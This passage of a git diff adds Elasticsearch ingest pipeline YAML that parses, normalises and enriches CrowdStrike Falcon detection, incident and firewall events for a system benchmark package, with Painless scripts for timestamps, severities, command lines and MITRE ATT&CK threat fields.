ctx.crowdstrike.event.Tags) { + if (tag instanceof Map) { + ctx.tags.add(tag["Key"] + ":" + tag["ValueString"]); + } + } + } else if (ctx.crowdstrike.event.Tags instanceof String) { + def values = ctx.crowdstrike.event.Tags.splitOnToken(','); + for (value in values) { + ctx.tags.add(value.trim()); + } + } + # UTCTimestamp should exist in each event, however on the off-chance it might not be (Like RemoteSession Start/End), then we have to use eventCreation time. + - date: + field: crowdstrike.event.UTCTimestamp + timezone: UTC + formats: + - UNIX_MS + tag: date_utc_timestamp_ms + if: 'ctx.crowdstrike?.event?.UTCTimestamp != null && String.valueOf(ctx.crowdstrike.event.UTCTimestamp).length() >= 12' + - date: + field: crowdstrike.event.UTCTimestamp + timezone: UTC + formats: + - UNIX + tag: date_utc_timestamp + if: 'ctx.crowdstrike?.event?.UTCTimestamp != null && String.valueOf(ctx.crowdstrike.event.UTCTimestamp).length() <= 11' + - date: + field: crowdstrike.metadata.eventCreationTime + target_field: event.created + timezone: UTC + formats: + - UNIX + tag: date_event_creation_time + if: 'ctx.crowdstrike?.metadata?.eventCreationTime != null && String.valueOf(ctx.crowdstrike.metadata.eventCreationTime).length() <= 11' + - date: + field: crowdstrike.metadata.eventCreationTime + target_field: event.created + timezone: UTC + formats: + - UNIX_MS + tag: date_event_creation_time_ms + if: 'ctx.crowdstrike?.metadata?.eventCreationTime != null && String.valueOf(ctx.crowdstrike.metadata.eventCreationTime).length() >= 12' + - set: + field: '@timestamp' + copy_from: event.created + tag: copy_timestamp_from_event_created + if: ctx.crowdstrike?.event?.UTCTimestamp == null && ctx.event?.created != null + # Assign severities to conform to security rules values + # + # 21 = Low + # 47 = Medium + # 73 = High + # 99 = Critical + # + # Leave crowdstrike values in place, since they have their own semantics. + - script: + tag: script_5d52b95d + lang: painless + if: ctx.crowdstrike?.event?.SeverityName instanceof String + source: |- + ctx.event = ctx.event ?: [:]; + String name = ctx.crowdstrike.event.SeverityName; + if (name.equalsIgnoreCase("low") || name.equalsIgnoreCase("info") || name.equalsIgnoreCase("informational")) { + ctx.event.severity = 21; + } else if (name.equalsIgnoreCase("medium")) { + ctx.event.severity = 47; + } else if (name.equalsIgnoreCase("high")) { + ctx.event.severity = 73; + } else if (name.equalsIgnoreCase("critical")) { + ctx.event.severity = 99; + } + - script: + lang: painless + tag: script_remove_null_event + if: ctx.crowdstrike?.event instanceof Map + params: + values: + - null + - '' + - '-' + - 'N/A' + - 'NA' + - 0 + source: | + ctx.crowdstrike.event.entrySet().removeIf(entry -> params.values.contains(entry.getValue())); + - script: + lang: painless + tag: script_remove_null_metadata + if: ctx.crowdstrike?.metadata instanceof Map + params: + values: + - null + - '' + - '-' + - 'N/A' + - 'NA' + source: | + ctx.crowdstrike.metadata.entrySet().removeIf(entry -> params.values.contains(entry.getValue())); + - script: + lang: painless + tag: script_enrich_command_line + if: ctx.crowdstrike?.event?.CommandLine != null + source: | + def commandLine = ctx.crowdstrike?.event?.CommandLine; + commandLine = commandLine.trim(); + + if (commandLine != "") { + def args = new ArrayList(Arrays.asList(/ /.split(commandLine))); + args.removeIf(arg -> arg == ""); + + ctx.process = [ + 'command_line': commandLine, + 'args': args, + 'executable': args.get(0) + ] + } + + - script: + lang: painless + tag: script_enrich_command_line_parent + if: ctx.crowdstrike?.event?.ParentCommandLine != null + source: | + def parentCommandLine = ctx.crowdstrike?.event?.ParentCommandLine; + parentCommandLine = parentCommandLine.trim(); + + if (parentCommandLine != "") { + def args = new ArrayList(Arrays.asList(/ /.split(parentCommandLine))); + args.removeIf(arg -> arg == ""); + if (ctx.process == null) { + ctx.process = new HashMap(); + } + ctx.process.parent = [ + 'command_line': parentCommandLine, + 'args': args, + 'executable': args.get(0) + ] + } + + + - pipeline: + name: '{{ IngestPipeline "customer_ioc_event" }}' + tag: pipeline_customer_ioc_event + if: ctx.crowdstrike?.metadata?.eventType == "CustomerIOCEvent" + - pipeline: + name: '{{ IngestPipeline "data_protection_detection_summary" }}' + tag: pipeline_data_protection_detection_summary + if: ctx.crowdstrike?.metadata?.eventType == "DataProtectionDetectionSummaryEvent" + - pipeline: + name: '{{ IngestPipeline "detection_summary" }}' + tag: pipeline_detection_summary + if: ctx.crowdstrike?.metadata?.eventType == "DetectionSummaryEvent" + - pipeline: + name: '{{ IngestPipeline "epp_detection_summary" }}' + tag: pipeline_epp_detection_summary + if: ctx.crowdstrike?.metadata?.eventType == "EppDetectionSummaryEvent" + - pipeline: + name: '{{ IngestPipeline "mobile_detection_summary" }}' + tag: pipeline_mobile_detection_summary + if: ctx.crowdstrike?.metadata?.eventType == "MobileDetectionSummaryEvent" + - pipeline: + name: '{{ IngestPipeline "incident_summary" }}' + tag: pipeline_incident_summary + if: ctx.crowdstrike?.metadata?.eventType == "IncidentSummaryEvent" + - pipeline: + name: '{{ IngestPipeline "xdr_detection_summary" }}' + tag: pipeline_xdr_summary + if: ctx.crowdstrike?.metadata?.eventType == "XdrDetectionSummaryEvent" + - pipeline: + name: '{{ IngestPipeline "ipd_detection_summary" }}' + tag: pipeline_ipd_summary + if: ctx.crowdstrike?.metadata?.eventType == "IdpDetectionSummaryEvent" + - pipeline: + name: '{{ IngestPipeline "recon_notification_summary" }}' + tag: pipeline_recon_nofitication_summary + if: ctx.crowdstrike?.metadata?.eventType == "ReconNotificationSummaryEvent" + - pipeline: + name: '{{ IngestPipeline "identity_protection_incident" }}' + tag: pipeline_identity_protection_incident + if: ctx.crowdstrike?.metadata?.eventType == "IdentityProtectionEvent" + - pipeline: + name: '{{ IngestPipeline "cspm_events" }}' + tag: pipeline_cspm_events + if: "['CSPMIOAStreamingEvent','CSPMSearchStreamingEvent'].contains(ctx.crowdstrike?.metadata?.eventType)" + - pipeline: + name: '{{ IngestPipeline "user_activity_audit" }}' + tag: pipeline_user_activity_audit + if: ctx.crowdstrike?.metadata?.eventType == "UserActivityAuditEvent" + - pipeline: + name: '{{ IngestPipeline "auth_activity_audit" }}' + tag: pipeline_auth_activity_audit + if: ctx.crowdstrike?.metadata?.eventType == "AuthActivityAuditEvent" + - pipeline: + name: '{{ IngestPipeline "firewall_match" }}' + tag: pipeline_firewall_match + if: ctx.crowdstrike?.metadata?.eventType == "FirewallMatchEvent" + - pipeline: + name: '{{ IngestPipeline "remote_response_session_start" }}' + tag: pipeline_remote_response_session_start + if: ctx.crowdstrike?.metadata?.eventType == "RemoteResponseSessionStartEvent" + - pipeline: + name: '{{ IngestPipeline "remote_response_session_end" }}' + tag: pipeline_remote_response_session_end + if: ctx.crowdstrike?.metadata?.eventType == "RemoteResponseSessionEndEvent" + - pipeline: + name: '{{ IngestPipeline "scheduled_report_notification_event" }}' + tag: pipeline_scheduled_report_notification_event + if: ctx.crowdstrike?.metadata?.eventType == "ScheduledReportNotificationEvent" + - set: + field: process.entity_id + tag: set_process_entity_id + value: '{{{process.pid}}}' + ignore_empty_value: true + - set: + field: process.parent.entity_id + tag: set_process_parent_entity_id + value: '{{{process.parent.pid}}}' + ignore_empty_value: true + - set: + field: user.email + copy_from: user.name + tag: copy_user_email + if: ctx.user?.email == null && ctx.user?.name != null && ctx.user.name.indexOf("@") > 0 + - append: + field: related.user + value: '{{{user.name}}}' + allow_duplicates: false + tag: append_related_user_name + if: ctx.user?.name != null && ctx.user?.name != "" + - append: + field: related.user + value: '{{{user.email}}}' + allow_duplicates: false + tag: append_related_user_email + if: ctx.user?.email != null + - append: + field: related.ip + value: '{{{source.ip}}}' + allow_duplicates: false + tag: append_related_src_ip + if: ctx.source?.ip != null && ctx.source?.ip != "" + - append: + field: related.ip + value: '{{{destination.ip}}}' + allow_duplicates: false + tag: append_related_dst_ip + if: ctx.destination?.ip != null && ctx.destination?.ip != "" + - append: + field: related.hosts + value: '{{{host.name}}}' + allow_duplicates: false + tag: append_related_host + if: ctx.host?.name != null && ctx.host?.name != "" + - fingerprint: + fields: + - '@timestamp' + - crowdstrike.event.SessionId + - crowdstrike.event.DetectId + - crowdstrike.event.PID + - crowdstrike.event.RuleId + - crowdstrike.metadata.eventType + - crowdstrike.metadata.customerIDString + - crowdstrike.metadata.offset + target_field: _id + tag: fingerprint + ignore_missing: true + - geoip: + tag: geoip_source_ip_to_source_geo_da2e41b2 + field: source.ip + target_field: source.geo + ignore_missing: true + - geoip: + tag: geoip_source_ip_to_source_as_28d69883 + database_file: GeoLite2-ASN.mmdb + field: source.ip + target_field: source.as + properties: + - asn + - organization_name + ignore_missing: true + - rename: + tag: rename_source_as_asn_to_source_as_number_a917047d + field: source.as.asn + target_field: source.as.number + ignore_missing: true + - rename: + tag: rename_source_as_organization_name_to_source_as_organization_name_f1362d0b + field: source.as.organization_name + target_field: source.as.organization.name + ignore_missing: true + - geoip: + tag: geoip_destination_ip_to_destination_geo_ab5e2968 + field: destination.ip + target_field: destination.geo + ignore_missing: true + - geoip: + tag: geoip_destination_ip_to_destination_as_8a007787 + database_file: GeoLite2-ASN.mmdb + field: destination.ip + target_field: destination.as + properties: + - asn + - organization_name + ignore_missing: true + - rename: + tag: rename_destination_as_asn_to_destination_as_number_3b459fcd + field: destination.as.asn + target_field: destination.as.number + ignore_missing: true + - rename: + tag: rename_destination_as_organization_name_to_destination_as_organization_name_814bd459 + field: destination.as.organization_name + target_field: destination.as.organization.name + ignore_missing: true + # If `device.id`` is not already mapped inside respective pipelines using SensorId, use `event.DeviceId` to map it. + - set: + field: device.id + copy_from: crowdstrike.event.DeviceId + ignore_empty_value: true + tag: rename_event_deviceid + if: ctx.device?.id == null + +# Threat Fields. + - foreach: + field: crowdstrike.event.MitreAttack + tag: foreach_event_MitreAttack_tactic_name + if: ctx.crowdstrike?.event?.MitreAttack instanceof List + processor: + append: + field: threat.tactic.name + tag: append_crowdstrike_event_MitreAttack_Tactic_into_threat_tactic_name + value: '{{{_ingest._value.Tactic}}}' + allow_duplicates: false + - foreach: + field: crowdstrike.event.MitreAttack + tag: foreach_event_MitreAttack_tactic_id + if: ctx.crowdstrike?.event?.MitreAttack instanceof List + processor: + append: + field: threat.tactic.id + tag: append_crowdstrike_event_MitreAttack_TacticID_into_threat_tactic_id + value: '{{{_ingest._value.TacticID}}}' + allow_duplicates: false + - foreach: + field: crowdstrike.event.MitreAttack + tag: foreach_event_MitreAttack_technique_name + if: ctx.crowdstrike?.event?.MitreAttack instanceof List + processor: + append: + field: threat.technique.name + tag: append_crowdstrike_event_MitreAttack_Technique_into_threat_technique_name + value: '{{{_ingest._value.Technique}}}' + allow_duplicates: false + - foreach: + field: crowdstrike.event.MitreAttack + tag: foreach_event_MitreAttack_technique_id + if: ctx.crowdstrike?.event?.MitreAttack instanceof List + processor: + append: + field: threat.technique.id + tag: append_crowdstrike_event_MitreAttack_TechniqueID_into_threat_technique_id + value: '{{{_ingest._value.TechniqueID}}}' + allow_duplicates: false + - foreach: + field: crowdstrike.event.MitreAttack + tag: foreach_event_MitreAttack_pattern_id + if: ctx.crowdstrike?.event?.MitreAttack instanceof List + processor: + convert: + field: _ingest._value.PatternID + tag: convert_mitre_attack_pattern_id_to_string + type: string + ignore_missing: true + on_failure: + - remove: + tag: remove_ingest_value_pattern_id + field: _ingest._value.PatternID + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - script: + description: Set threat.framework from threat.* fields using prefix matching and preference order. + lang: painless + tag: script_threat_framework + if: ctx.threat != null + params: + framework_preference: + - MITRE ATT&CK + - CrowdStrike Falcon Detections Framework + framework_cs: 'CrowdStrike Falcon Detections Framework' + framework_ma: 'MITRE ATT&CK' + falcon_tactic_names: + - malware + - exploit + - post-exploit + - machine learning + - custom intelligence + - falcon overwatch + - falcon intel + - ai powered ioa + - insecure security posture + source: | + def tid = ctx.threat.tactic?.id; + def nid = ctx.threat.technique?.id; + def tname = ctx.threat.tactic?.name; + if ((tid == null || tid.isEmpty()) && (nid == null || nid.isEmpty()) && (tname == null || tname.isEmpty())) { + return; + } + Set frameworks = new HashSet(); + // Handling tactics prefixed with "CS" or "TA". + if (tid != null && !tid.isEmpty()) { + for (String t: tid) { + if (t.startsWith("CS")) { + frameworks.add(params.framework_cs); + } + else if (t.startsWith("TA")) { + frameworks.add(params.framework_ma); + } + } + } + // Handling techniques prefixed with "CS". + if (nid != null && !nid.isEmpty()) { + for (String t: nid) { + if (t.startsWith("CS")) { + frameworks.add(params.framework_cs); + } + } + } + // Handling falcon specific tactics. + if (tname != null && !tname.isEmpty()) { + for (String t: tname) { + if (params.falcon_tactic_names.contains(t.toLowerCase())) { + frameworks.add(params.framework_cs); + } + } + } + + if (frameworks.isEmpty()) { + return; + } + if (frameworks.size() == 1) { + ctx.threat.framework = frameworks.iterator().next(); + return; + } + + for (def preferred : params.framework_preference) { + if (frameworks.contains(preferred)) { + ctx.threat.framework = preferred; + return; + } + } + + // fallback when new frameworks are added and not yet in preference list + ctx.threat.framework = frameworks.iterator().next(); + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + # This removes any fields that are mapped to ECS, but have not been renamed. + # This is to prevent the fields from being duplicated in the event. + - remove: + tag: remove_6a6abdd1 + field: + - _tmp_ + - crowdstrike.event.Technique + - crowdstrike.event.TechniqueId + - crowdstrike.event.Tactic + - crowdstrike.event.TacticId + - crowdstrike.event.Techniques + - crowdstrike.event.TechniqueIds + - crowdstrike.event.Tactics + - crowdstrike.event.TacticIds + - crowdstrike.event.IPv6Addresses + - crowdstrike.event.IPv4Addresses + - crowdstrike.event.ParentCommandLine + - crowdstrike.event.CommandLine + - crowdstrike.event.ProcessStartTime + - crowdstrike.event.IncidentStartTime + - crowdstrike.event.HostNames + - crowdstrike.event.DomainNames + - crowdstrike.event.Users + - crowdstrike.event.SHA256Hashes + - crowdstrike.event.MD5Hashes + - crowdstrike.event.Author + - crowdstrike.event.ProcessEndTime + - crowdstrike.event.IncidentEndTime + - crowdstrike.metadata.eventCreationTime + - crowdstrike.event.UTCTimestamp + - crowdstrike.event.ContextTimeStamp + - crowdstrike.event.PID + - crowdstrike.event.RemotePort + - crowdstrike.event.LocalPort + - crowdstrike.event.ConnectionDirection + - crowdstrike.event.StartTimestamp + - crowdstrike.event.StartTimeEpoch + - crowdstrike.event.AdditionalAccountDomain + - crowdstrike.event.AdditionalAccountName + - crowdstrike.event.AdditionalEndpointHostName + - crowdstrike.event.AdditionalEndpointIpAddress + - crowdstrike.event.AttemptOutcome + - crowdstrike.event.EndTimeEpoch + - crowdstrike.event.EndTimestamp + - crowdstrike.event.EndTime + - crowdstrike.event.EventCreatedTimestamp + - crowdstrike.event.StartTime + - crowdstrike.event.Disposition + - crowdstrike.event.MatchedTimestamp + - crowdstrike.event.Tags + - crowdstrike.event.UserId + - crowdstrike.event.UserName + ignore_missing: true + + - script: + description: This script processor iterates over the whole document to remove fields with null/empty values. + tag: remove_nulls + source: |- + void handleMap(Map map) { + map.values().removeIf(v -> { + if (v instanceof Map) { + handleMap(v); + } else if (v instanceof List) { + handleList(v); + } + return v == null || v == '' || (v instanceof Map && v.size() == 0) || (v instanceof List && v.size() == 0) + }); + } + void handleList(List list) { + list.removeIf(v -> { + if (v instanceof Map) { + handleMap(v); + } else if (v instanceof List) { + handleList(v); + } + return v == null || v == '' || (v instanceof Map && v.size() == 0) || (v instanceof List && v.size() == 0) + }); + } + handleMap(ctx); + +on_failure: + - append: + field: error.message + value: |- + Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/detection_summary.yml new file mode 100644 index 0000000000..13f32b838b --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/detection_summary.yml @@ -0,0 +1,212 @@ +--- +processors: + - set: + field: event.kind + value: alert + tag: set_event_kind + - append: + field: event.category + value: malware + tag: append_malware_category + - append: + field: event.type + value: info + tag: append_info_type + - rename: + field: crowdstrike.event.UserName + target_field: user.name + ignore_missing: true + tag: rename_user_name + - date: + field: crowdstrike.event.ProcessStartTime + target_field: process.start + timezone: UTC + formats: + - UNIX_MS + tag: date_process_start_time_ms + if: 'ctx.crowdstrike?.event?.ProcessStartTime != null && String.valueOf(ctx.crowdstrike.event.ProcessStartTime).length() >= 12' + - date: + field: crowdstrike.event.ProcessStartTime + target_field: process.start + timezone: UTC + formats: + - UNIX + tag: date_process_start_time + if: 'ctx.crowdstrike?.event?.ProcessStartTime != null && String.valueOf(ctx.crowdstrike.event.ProcessStartTime).length() <= 11' + - date: + field: crowdstrike.event.ProcessEndTime + target_field: process.end + timezone: UTC + formats: + - UNIX_MS + tag: date_process_end_time_ms + if: 'ctx.crowdstrike?.event?.ProcessEndTime != null && String.valueOf(ctx.crowdstrike.event.ProcessEndTime).length() >= 12' + - date: + field: crowdstrike.event.ProcessEndTime + target_field: process.end + timezone: UTC + formats: + - UNIX + tag: date_process_end_time + if: 'ctx.crowdstrike?.event?.ProcessEndTime != null && String.valueOf(ctx.crowdstrike.event.ProcessEndTime).length() <= 11' + - rename: + field: crowdstrike.event.LocalIP + target_field: source.ip + ignore_missing: true + tag: rename_local_ip + if: ctx.crowdstrike?.event?.LocalIP != null && ctx.crowdstrike?.event?.LocalIP != "" + - rename: + field: crowdstrike.event.ProcessId + target_field: process.pid + ignore_missing: true + tag: rename_process_id + - split: + field: crowdstrike.event.HostGroups + separator: ',' + ignore_missing: true + tag: split_host_groups + - rename: + field: crowdstrike.event.ParentProcessId + target_field: process.parent.pid + ignore_missing: true + tag: rename_parent_process_id + - rename: + field: crowdstrike.event.ParentImageFileName + target_field: process.parent.executable + ignore_missing: true + tag: rename_parent_image_file_name + if: ctx.process?.parent?.executable == null + - rename: + field: crowdstrike.event.PatternDispositionDescription + target_field: event.action + ignore_missing: true + tag: rename_pattern_disposition_description + - rename: + field: crowdstrike.event.FalconHostLink + target_field: event.reference + ignore_missing: true + tag: rename_falcon_host_link + - rename: + field: crowdstrike.event.DetectDescription + target_field: message + ignore_missing: true + tag: rename_detect_description + - set: + field: rule.description + copy_from: message + tag: set_rule_description + if: ctx.message != null + - set: + tag: set_process_name_0cc9dd81 + field: process.name + copy_from: crowdstrike.event.FileName + ignore_empty_value: true + - rename: + field: crowdstrike.event.MachineDomain + target_field: host.domain + ignore_missing: true + tag: rename_machine_domain + - rename: + field: crowdstrike.event.ComputerName + target_field: host.name + ignore_missing: true + tag: rename_computer_name + - rename: + field: crowdstrike.event.SHA256String + target_field: file.hash.sha256 + ignore_missing: true + tag: rename_sha256_string + - rename: + field: crowdstrike.event.MD5String + target_field: file.hash.md5 + ignore_missing: true + tag: rename_md5_string + - rename: + field: crowdstrike.event.SHA1String + target_field: file.hash.sha1 + ignore_missing: true + tag: rename_sha1_string + - append: + field: related.hash + value: "{{{file.hash.sha1}}}" + allow_duplicates: false + tag: append_sha1_hash + if: ctx.file?.hash?.sha1 != null && ctx.file?.hash?.sha1 != "" + - append: + field: related.hash + value: "{{{file.hash.sha256}}}" + allow_duplicates: false + tag: append_sha256_hash + if: ctx.file?.hash?.sha256 != null && ctx.file?.hash?.sha256 != "" + - append: + field: related.hash + value: "{{{file.hash.md5}}}" + allow_duplicates: false + tag: append_md5_hash + if: ctx.file?.hash?.md5 != null && ctx.file?.hash?.md5 != "" + - rename: + field: crowdstrike.event.FileName + target_field: file.name + ignore_missing: true + tag: rename_file_name + - rename: + field: crowdstrike.event.FilePath + target_field: file.path + ignore_missing: true + tag: rename_file_path + - rename: + field: crowdstrike.event.DetectName + target_field: rule.name + ignore_missing: true + tag: rename_detect_name + - rename: + field: crowdstrike.event.DetectId + target_field: rule.id + ignore_missing: true + tag: rename_detect_id + - rename: + field: crowdstrike.event.MacAddress + target_field: host.mac + ignore_missing: true + tag: rename_mac_address + if: ctx.crowdstrike?.event?.MacAddress != null + - uppercase: + field: host.mac + ignore_missing: true + tag: uppercase_mac_address + if: ctx.host?.mac != null + +# Threat fields: the default pipeline sets threat.framework from the threat.* fields. + - append: + field: threat.technique.name + value: "{{{crowdstrike.event.Technique}}}" + tag: append_technique_name + if: ctx.crowdstrike?.event?.Technique != null + - append: + field: threat.technique.id + value: "{{{crowdstrike.event.TechniqueId}}}" + tag: append_technique_id + if: ctx.crowdstrike?.event?.TechniqueId != null + - append: + field: threat.tactic.name + value: "{{{crowdstrike.event.Tactic}}}" + tag: append_tactic_name + if: ctx.crowdstrike?.event?.Tactic != null + - append: + field: threat.tactic.id + value: "{{{crowdstrike.event.TacticId}}}" + tag: append_tactic_id + if: ctx.crowdstrike?.event?.TacticId != null + +on_failure: + - append: + field: error.message + value: |- + Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/epp_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/epp_detection_summary.yml new file mode 100644 index 0000000000..24a04de529 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/epp_detection_summary.yml @@ -0,0 +1,110 @@ +--- +processors: + # Handle case changes. + - rename: + tag: rename_GrandParentCommandLine_GrandparentCommandLine + field: crowdstrike.event.GrandParentCommandLine + target_field: crowdstrike.event.GrandparentCommandLine + ignore_failure: true + - rename: + tag: rename_GrandParentImageFileName_GrandparentImageFileName + field: crowdstrike.event.GrandParentImageFileName + target_field: crowdstrike.event.GrandparentImageFileName + ignore_failure: true + - rename: + tag: rename_GrandParentImageFilePath_GrandparentImageFilePath + field: crowdstrike.event.GrandParentImageFilePath + target_field: crowdstrike.event.GrandparentImageFilePath + ignore_failure: true + # EppDetectionSummaryEvent renames + - rename: + tag: rename_Hostname_ComputerName + field: crowdstrike.event.Hostname + target_field: crowdstrike.event.ComputerName + ignore_failure: true + - rename: + tag: rename_LogonDomain_MachineDomain + field: crowdstrike.event.LogonDomain + target_field: crowdstrike.event.MachineDomain + ignore_failure: true + - rename: + tag: rename_AgentId_SensorId + field: crowdstrike.event.AgentId + target_field: crowdstrike.event.SensorId + ignore_failure: true + - rename: + tag: rename_Name_DetectName + field: crowdstrike.event.Name + target_field: crowdstrike.event.DetectName + ignore_failure: true + + # EppDetectionSummaryEvent converts + - convert: + field: crowdstrike.event.LocalIPv6 + tag: convert_crowdstrike_LocalIPv6_ip + type: ip + if: ctx.crowdstrike?.event?.LocalIPv6 != null && ctx.crowdstrike.event.LocalIPv6 != '' + on_failure: + - remove: + tag: remove_crowdstrike_event_LocalIPv6_b3dc135b + field: crowdstrike.event.LocalIPv6 + ignore_failure: true + - append: + tag: append_error_message_9f65dae0 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: crowdstrike.event.FilesAccessed + tag: convert_crowdstrike_filesaccessed_timestamp_array + if: ctx.crowdstrike?.event?.FilesAccessed instanceof List + ignore_failure: true + processor: + date: + field: _ingest._value.Timestamp + target_field: _ingest._value.Timestamp + formats: + - UNIX + tag: convert_crowdstrike_filesaccessed_timestamp + on_failure: + - remove: + field: _ingest._value.Timestamp + ignore_failure: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: crowdstrike.event.FilesWritten + tag: convert_crowdstrike_fileswritten_timestamp_array + if: ctx.crowdstrike?.event?.FilesWritten instanceof List + ignore_failure: true + processor: + date: + field: _ingest._value.Timestamp + target_field: _ingest._value.Timestamp + formats: + - UNIX + tag: convert_crowdstrike_fileswritten_timestamp + on_failure: + - remove: + field: _ingest._value.Timestamp + ignore_failure: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + + - pipeline: + name: '{{ IngestPipeline "detection_summary" }}' + tag: pipeline_detection_summary + +on_failure: + - append: + field: error.message + value: |- + Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/firewall_match.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/firewall_match.yml new file mode 100644 index 0000000000..7cb95e3d41 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/firewall_match.yml @@ -0,0 +1,199 @@ +--- +processors: + - set: + tag: set_event_kind_de80643c + field: event.kind + value: event + - append: + field: event.category + value: network + tag: append_network_category + - append: + field: event.action + value: firewall_match_event + tag: append_firewall_match_event + - append: + field: event.type + value: + - start + - connection + tag: append_start_connection_type + - append: + field: event.type + value: allowed + tag: append_allowed_type + if: ctx.crowdstrike?.event?.RuleAction != null && ctx.crowdstrike?.event?.RuleAction == "1" + - set: + field: _tmp_.action + value: "Allowed" + tag: set_allowed_action + if: ctx.crowdstrike?.event?.RuleAction != null && ctx.crowdstrike?.event?.RuleAction == "1" + - append: + field: event.type + value: denied + tag: append_denied_type + if: ctx.crowdstrike?.event?.RuleAction != null && ctx.crowdstrike?.event?.RuleAction == "2" + - set: + field: _tmp_.action + value: "Blocked" + tag: set_blocked_action + if: ctx.crowdstrike?.event?.RuleAction != null && ctx.crowdstrike?.event?.RuleAction == "2" + - set: + field: _tmp_.action + value: "Unknown" + tag: set_unknown_action + if: ctx._tmp_?.action == null + - set: + field: message + value: "Firewall Rule: '{{{crowdstrike.event.RuleName}}}' triggered - Action: '{{{_tmp_.action}}}'" + tag: set_message + if: ctx.crowdstrike?.event?.RuleName != null + - rename: + field: crowdstrike.event.Ipv + target_field: network.type + ignore_missing: true + tag: rename_ipv + - convert: + field: crowdstrike.event.PID + target_field: process.pid + type: long + ignore_missing: true + tag: convert_pid + - set: + value: '{{{crowdstrike.event.ImageFileName}}}' + field: process.executable + ignore_empty_value: true + tag: set_process_executable_to_image_file_name + - remove: + field: crowdstrike.event.ImageFileName + ignore_missing: true + tag: remove_image_file_name + - rename: + field: crowdstrike.event.RuleId + target_field: rule.id + ignore_missing: true + tag: rename_rule_id + - rename: + field: crowdstrike.event.RuleName + target_field: rule.name + ignore_missing: true + tag: rename_rule_name + - rename: + field: crowdstrike.event.RuleGroupName + target_field: rule.ruleset + ignore_missing: true + tag: rename_rule_group_name + - rename: + field: crowdstrike.event.RuleDescription + target_field: rule.description + ignore_missing: true + tag: rename_rule_description + - rename: + field: crowdstrike.event.RuleFamilyID + target_field: rule.category + ignore_missing: true + tag: rename_rule_family_id + - rename: + field: crowdstrike.event.HostName + target_field: host.name + ignore_missing: true + tag: rename_host_name + - rename: + field: crowdstrike.event.EventType + target_field: event.code + ignore_missing: true + tag: rename_event_type + - script: + tag: script-set-network-direction + description: Set network.direction + lang: painless + if: ctx.crowdstrike?.event?.ConnectionDirection != null + source: | + def result = []; + if (ctx.crowdstrike.event.ConnectionDirection == "0") { + result.add('egress'); + } else if (ctx.crowdstrike.event.ConnectionDirection == "1") { + result.add('ingress'); + } else if (ctx.crowdstrike.event.ConnectionDirection == "3") { + result.add('egress'); + result.add('ingress'); + } else if (ctx.crowdstrike.event.ConnectionDirection == "4") { + result.add('unknown'); + } + if (result.size() > 0) { + ctx.network = ctx.network ?: [:]; + } + if (result.size() == 1) { + ctx.network.direction = result[0]; + } else if (result.size() > 1) { + ctx.network.direction = result; + } + - rename: + field: crowdstrike.event.RemoteAddress + target_field: source.ip + ignore_missing: true + tag: rename_remote_address_to_source_ip + if: ctx.crowdstrike?.event?.RemoteAddress != null && ctx.network?.direction == "ingress" + - rename: + field: crowdstrike.event.LocalAddress + target_field: destination.ip + ignore_missing: true + tag: rename_local_address_to_destination_ip + if: ctx.crowdstrike?.event?.LocalAddress != null && ctx.network?.direction == "ingress" + - convert: + field: crowdstrike.event.LocalPort + target_field: destination.port + type: long + ignore_missing: true + tag: convert_local_port_to_destination_port + if: ctx.crowdstrike?.event?.LocalPort != null && ctx.network?.direction == "ingress" + - convert: + field: crowdstrike.event.RemotePort + target_field: source.port + type: long + ignore_missing: true + tag: convert_remote_port_to_source_port + if: ctx.crowdstrike?.event?.RemotePort != null && ctx.network?.direction == "ingress" + - rename: + field: crowdstrike.event.RemoteAddress + target_field: destination.ip + ignore_missing: true + tag: 